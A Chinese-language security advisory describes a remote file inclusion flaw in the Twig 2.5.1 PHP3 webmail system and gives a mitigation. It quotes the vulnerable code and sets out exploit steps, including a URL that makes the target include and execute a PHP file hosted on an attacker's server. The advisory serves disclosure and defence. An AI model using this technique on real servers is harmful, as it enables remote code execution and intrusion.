Twig 执行任意远程脚本漏洞


添加时间:
2005-10-01

系统编号:
WAVDB-00698

影响版本:
Twig 2.5.1

程序介绍:

Twig是用PHP3写的WWW方式的电子邮件系统。

漏洞分析:

2.5.1版以及某些早期版本的Twig存在一个设计上的漏洞,远程攻击者利用该漏洞可以访问到WWW服务器上的非授权本地资源。

Twig附带了一个脚本index.php3,该脚本中使用一个名为vhosts[]的变量,包含了WWW服务器上各个虚拟主机入口。index.php3根据vhosts[]变量获取php3 include文件。不幸的是该变量在被引用前未被初始化,远程攻击者可以设置该变量为任意值,如果所指向的恶意主机存在有效的php3 include文件,其中的脚本内容将被加载/执行。

有问题的代码部分: 

// Allow for virtual hosting
$config_dir = "config";
if( $vhosts[$SERVER_NAME] )


    $config_dir = $vhosts[$SERVER_NAME];
    include( $config_dir . "/config.inc.php3" );
    include( $config_dir . "/images.inc.php3" );
  }



漏洞利用:

1. 在一个不支持php3的免费主页站点申请一个帐号,上传一个config.inc.php3文件,
   里面包含"<? phpinfo(); ?>"(显示当前主机中的php信息)

2. 在使用有问题的twig的站点提交类似下列URL:

   http://twig.vuln.site/index.php3?vhosts[twig.vuln.site]=http://free.host.machine/~mydir/

3. 问题主机将会包含进攻击者提供的config.inc.php3并予以执行



解决方案:
临时解决办法:
 Shaun Clowes提供了一个临时解决方法:
 在Twig的config/config.inc.php3的开头增加下列两行代码:
     unset($config);
     unset($vhosts);
 出于安全考虑,也在config/dbconfig.inc.php3的开头增加下列代码:
     unset($dbconfig);

 厂商补丁:
     暂无。

信息来源:
<* 来源:Joao Gouveia (cercthar@teleweb.pt) *>